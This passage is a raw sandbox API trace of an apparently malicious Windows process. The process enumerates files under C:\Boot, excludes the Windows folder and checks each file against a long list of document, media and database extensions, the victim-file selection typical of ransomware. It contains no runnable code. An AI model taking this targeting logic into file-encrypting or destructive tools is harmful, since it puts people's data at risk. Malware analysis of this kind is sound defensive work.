ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.379] FindClose (in: hFindFile=0x569540 | out: hFindFile=0x569540) returned 1 [0035.379] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3760270 | out: hHeap=0x510000) returned 1 [0035.379] FindNextFileW (in: hFindFile=0x5684f8, lpFindFileData=0x2effa84 | out: lpFindFileData=0x2effa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0035.380] lstrlenW (lpString="C:\\Boot\\tr-TR") returned 13 [0035.380] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot\\tr-TR") returned 1 [0035.380] lstrlenW (lpString="tr-TR") returned 5 [0035.380] lstrcmpiW (lpString1="C:\\Windows", lpString2="tr-TR") returned -1 [0035.380] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3760270 [0035.380] lstrlenW (lpString="C:\\Boot\\tr-TR") returned 13 [0035.380] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x569540 [0035.384] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.384] FindNextFileW (in: hFindFile=0x569540, lpFindFileData=0x2eff808 | out: lpFindFileData=0x2eff808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0035.384] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0035.384] lstrlenW (lpString=".1cd") returned 4 [0035.384] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.384] lstrlenW (lpString=".3ds") returned 4 [0035.384] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0035.384] lstrlenW (lpString=".3fr") returned 4 [0035.384] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0035.384] lstrlenW (lpString=".3g2") returned 4 [0035.384] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0035.384] lstrlenW (lpString=".3gp") returned 4 [0035.384] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".7z") returned 3 [0035.385] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.385] lstrlenW (lpString=".accda") returned 6 [0035.385] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0035.385] lstrlenW (lpString=".accdb") returned 6 [0035.385] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0035.385] lstrlenW (lpString=".accdc") returned 6 [0035.385] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0035.385] lstrlenW (lpString=".accde") returned 6 [0035.385] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0035.385] lstrlenW (lpString=".accdt") returned 6 [0035.385] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0035.385] lstrlenW (lpString=".accdw") returned 6 [0035.385] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0035.385] lstrlenW (lpString=".adb") returned 4 [0035.385] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".adp") returned 4 [0035.385] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".ai") returned 3 [0035.385] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0035.385] lstrlenW (lpString=".ai3") returned 4 [0035.385] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".ai4") returned 4 [0035.385] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".ai5") returned 4 [0035.385] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".ai6") returned 4 [0035.385] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".ai7") returned 4 [0035.385] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".ai8") returned 4 [0035.385] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0035.385] lstrlenW (lpString=".anim") returned 5 [0035.386] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0035.386] lstrlenW (lpString=".arw") returned 4 [0035.386] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".as") returned 3 [0035.386] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0035.386] lstrlenW (lpString=".asa") returned 4 [0035.386] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".asc") returned 4 [0035.386] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".ascx") returned 5 [0035.386] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0035.386] lstrlenW (lpString=".asm") returned 4 [0035.386] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".asmx") returned 5 [0035.386] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0035.386] lstrlenW (lpString=".asp") returned 4 [0035.386] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".aspx") returned 5 [0035.386] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0035.386] lstrlenW (lpString=".asr") returned 4 [0035.386] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".asx") returned 4 [0035.386] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".avi") returned 4 [0035.386] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".avs") returned 4 [0035.386] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".backup") returned 7 [0035.386] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0035.386] lstrlenW (lpString=".bak") returned 4 [0035.386] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0035.386] lstrlenW (lpString=".bay") returned 4 [0035.387] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".bd") returned 3 [0035.387] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0035.387] lstrlenW (lpString=".bin") returned 4 [0035.387] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".bmp") returned 4 [0035.387] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".bz2") returned 4 [0035.387] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".c") returned 2 [0035.387] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0035.387] lstrlenW (lpString=".cdr") returned 4 [0035.387] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".cer") returned 4 [0035.387] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".cf") returned 3 [0035.387] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0035.387] lstrlenW (lpString=".cfc") returned 4 [0035.387] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".cfm") returned 4 [0035.387] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".cfml") returned 5 [0035.387] lstrcmpiW (lpString1=".cfml", lpString2="e.mui") returned -1 [0035.387] lstrlenW (lpString=".cfu") returned 4 [0035.387] lstrcmpiW (lpString1=".cfu", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".chm") returned 4 [0035.387] lstrcmpiW (lpString1=".chm", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".cin") returned 4 [0035.387] lstrcmpiW (lpString1=".cin", lpString2=".mui") returned -1 [0035.387] lstrlenW (lpString=".class") returned 6 [0035.387] lstrcmpiW (lpString1=".class", lpString2="xe.mui") returned -1 [0035.387] lstrlenW (lpString=".clx") returned 4 [0035.388] lstrcmpiW (lpString1=".clx", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".config") returned 7 [0035.388] lstrcmpiW (lpString1=".config", lpString2="exe.mui") returned -1 [0035.388] lstrlenW (lpString=".cpp") returned 4 [0035.388] lstrcmpiW (lpString1=".cpp", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".cr2") returned 4 [0035.388] lstrcmpiW (lpString1=".cr2", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".crt") returned 4 [0035.388] lstrcmpiW (lpString1=".crt", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".crw") returned 4 [0035.388] lstrcmpiW (lpString1=".crw", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".cs") returned 3 [0035.388] lstrcmpiW (lpString1=".cs", lpString2="mui") returned -1 [0035.388] lstrlenW (lpString=".css") returned 4 [0035.388] lstrcmpiW (lpString1=".css", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".csv") returned 4 [0035.388] lstrcmpiW (lpString1=".csv", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".cub") returned 4 [0035.388] lstrcmpiW (lpString1=".cub", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".dae") returned 4 [0035.388] lstrcmpiW (lpString1=".dae", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".dat") returned 4 [0035.388] lstrcmpiW (lpString1=".dat", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".db") returned 3 [0035.388] lstrcmpiW (lpString1=".db", lpString2="mui") returned -1 [0035.388] lstrlenW (lpString=".dbf") returned 4 [0035.388] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".dbx") returned 4 [0035.388] lstrcmpiW (lpString1=".dbx", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".dc3") returned 4 [0035.388] lstrcmpiW (lpString1=".dc3", lpString2=".mui") returned -1 [0035.388] lstrlenW (lpString=".dcm") returned 4 [0035.388] lstrcmpiW (lpString1=".dcm", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".dcr") returned 4 [0035.389] lstrcmpiW (lpString1=".dcr", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".der") returned 4 [0035.389] lstrcmpiW (lpString1=".der", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".dib") returned 4 [0035.389] lstrcmpiW (lpString1=".dib", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".dic") returned 4 [0035.389] lstrcmpiW (lpString1=".dic", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".dif") returned 4 [0035.389] lstrcmpiW (lpString1=".dif", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".divx") returned 5 [0035.389] lstrcmpiW (lpString1=".divx", lpString2="e.mui") returned -1 [0035.389] lstrlenW (lpString=".djvu") returned 5 [0035.389] lstrcmpiW (lpString1=".djvu", lpString2="e.mui") returned -1 [0035.389] lstrlenW (lpString=".dng") returned 4 [0035.389] lstrcmpiW (lpString1=".dng", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".doc") returned 4 [0035.389] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".docm") returned 5 [0035.389] lstrcmpiW (lpString1=".docm", lpString2="e.mui") returned -1 [0035.389] lstrlenW (lpString=".docx") returned 5 [0035.389] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0035.389] lstrlenW (lpString=".dot") returned 4 [0035.389] lstrcmpiW (lpString1=".dot", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".dotm") returned 5 [0035.389] lstrcmpiW (lpString1=".dotm", lpString2="e.mui") returned -1 [0035.389] lstrlenW (lpString=".dotx") returned 5 [0035.389] lstrcmpiW (lpString1=".dotx", lpString2="e.mui") returned -1 [0035.389] lstrlenW (lpString=".dpx") returned 4 [0035.389] lstrcmpiW (lpString1=".dpx", lpString2=".mui") returned -1 [0035.389] lstrlenW (lpString=".dqy") returned 4 [0035.389] lstrcmpiW (lpString1=".dqy", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".dsn") returned 4 [0035.390] lstrcmpiW (lpString1=".dsn", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".dt") returned 3 [0035.390] lstrcmpiW (lpString1=".dt", lpString2="mui") returned -1 [0035.390] lstrlenW (lpString=".dtd") returned 4 [0035.390] lstrcmpiW (lpString1=".dtd", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".dwg") returned 4 [0035.390] lstrcmpiW (lpString1=".dwg", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".dwt") returned 4 [0035.390] lstrcmpiW (lpString1=".dwt", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".dx") returned 3 [0035.390] lstrcmpiW (lpString1=".dx", lpString2="mui") returned -1 [0035.390] lstrlenW (lpString=".dxf") returned 4 [0035.390] lstrcmpiW (lpString1=".dxf", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".edml") returned 5 [0035.390] lstrcmpiW (lpString1=".edml", lpString2="e.mui") returned -1 [0035.390] lstrlenW (lpString=".efd") returned 4 [0035.390] lstrcmpiW (lpString1=".efd", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".elf") returned 4 [0035.390] lstrcmpiW (lpString1=".elf", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".emf") returned 4 [0035.390] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".emz") returned 4 [0035.390] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".epf") returned 4 [0035.390] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".eps") returned 4 [0035.390] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0035.390] lstrlenW (lpString=".epsf") returned 5 [0035.390] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0035.390] lstrlenW (lpString=".epsp") returned 5 [0035.390] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0035.390] lstrlenW (lpString=".erf") returned 4 [0035.391] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".exr") returned 4 [0035.391] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".f4v") returned 4 [0035.391] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".fido") returned 5 [0035.391] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0035.391] lstrlenW (lpString=".flm") returned 4 [0035.391] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".flv") returned 4 [0035.391] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".frm") returned 4 [0035.391] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".fxg") returned 4 [0035.391] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".geo") returned 4 [0035.391] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".gif") returned 4 [0035.391] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".grs") returned 4 [0035.391] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".gz") returned 3 [0035.391] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0035.391] lstrlenW (lpString=".h") returned 2 [0035.391] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0035.391] lstrlenW (lpString=".hdr") returned 4 [0035.391] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".hpp") returned 4 [0035.391] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".hta") returned 4 [0035.391] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0035.391] lstrlenW (lpString=".htc") returned 4 [0035.392] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".htm") returned 4 [0035.392] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".html") returned 5 [0035.392] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0035.392] lstrlenW (lpString=".icb") returned 4 [0035.392] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".ics") returned 4 [0035.392] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".iff") returned 4 [0035.392] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".inc") returned 4 [0035.392] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".indd") returned 5 [0035.392] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0035.392] lstrlenW (lpString=".ini") returned 4 [0035.392] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".iqy") returned 4 [0035.392] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".j2c") returned 4 [0035.392] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".j2k") returned 4 [0035.392] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".java") returned 5 [0035.392] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0035.392] lstrlenW (lpString=".jp2") returned 4 [0035.392] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".jpc") returned 4 [0035.392] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".jpe") returned 4 [0035.392] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0035.392] lstrlenW (lpString=".jpeg") returned 5 [0035.392] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0035.393] lstrlenW (lpString=".jpf") returned 4 [0035.393] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".jpg") returned 4 [0035.393] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".jpx") returned 4 [0035.393] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".js") returned 3 [0035.393] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0035.393] lstrlenW (lpString=".jsf") returned 4 [0035.393] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".json") returned 5 [0035.393] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0035.393] lstrlenW (lpString=".jsp") returned 4 [0035.393] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".kdc") returned 4 [0035.393] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".kmz") returned 4 [0035.393] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".kwm") returned 4 [0035.393] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".lasso") returned 6 [0035.393] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0035.393] lstrlenW (lpString=".lbi") returned 4 [0035.393] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".lgf") returned 4 [0035.393] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".lgp") returned 4 [0035.393] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".log") returned 4 [0035.393] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".m1v") returned 4 [0035.393] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0035.393] lstrlenW (lpString=".m4a") returned 4 [0035.394] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".m4v") returned 4 [0035.394] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".max") returned 4 [0035.394] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".md") returned 3 [0035.394] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0035.394] lstrlenW (lpString=".mda") returned 4 [0035.394] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mdb") returned 4 [0035.394] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mde") returned 4 [0035.394] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mdf") returned 4 [0035.394] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mdw") returned 4 [0035.394] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mef") returned 4 [0035.394] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mft") returned 4 [0035.394] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mfw") returned 4 [0035.394] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mht") returned 4 [0035.394] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mhtml") returned 6 [0035.394] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0035.394] lstrlenW (lpString=".mka") returned 4 [0035.394] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0035.394] lstrlenW (lpString=".mkidx") returned 6 [0035.394] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0035.394] lstrlenW (lpString=".mkv") returned 4 [0035.395] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mos") returned 4 [0035.395] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mov") returned 4 [0035.395] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mp3") returned 4 [0035.395] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mp4") returned 4 [0035.395] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mpeg") returned 5 [0035.395] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0035.395] lstrlenW (lpString=".mpg") returned 4 [0035.395] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mpv") returned 4 [0035.395] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mrw") returned 4 [0035.395] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".msg") returned 4 [0035.395] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0035.395] lstrlenW (lpString=".mxl") returned 4 [0035.395] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".myd") returned 4 [0035.491] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".myi") returned 4 [0035.491] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".nef") returned 4 [0035.491] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".nrw") returned 4 [0035.491] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".obj") returned 4 [0035.491] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".odb") returned 4 [0035.491] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".odc") returned 4 [0035.491] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".odm") returned 4 [0035.491] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".odp") returned 4 [0035.491] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".ods") returned 4 [0035.491] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".oft") returned 4 [0035.491] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".one") returned 4 [0035.491] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".onepkg") returned 7 [0035.491] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0035.491] lstrlenW (lpString=".onetoc2") returned 8 [0035.491] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0035.491] lstrlenW (lpString=".opt") returned 4 [0035.491] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".oqy") returned 4 [0035.491] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0035.491] lstrlenW (lpString=".orf") returned 4 [0035.492] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".p12") returned 4 [0035.492] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".p7b") returned 4 [0035.492] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".p7c") returned 4 [0035.492] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pam") returned 4 [0035.492] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pbm") returned 4 [0035.492] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pct") returned 4 [0035.492] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pcx") returned 4 [0035.492] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0035.492] lstrlenW (lpString=".pdd") returned 4 [0035.492] lstrcmpiW (lpString1=".pdd", lpString2=".mui") 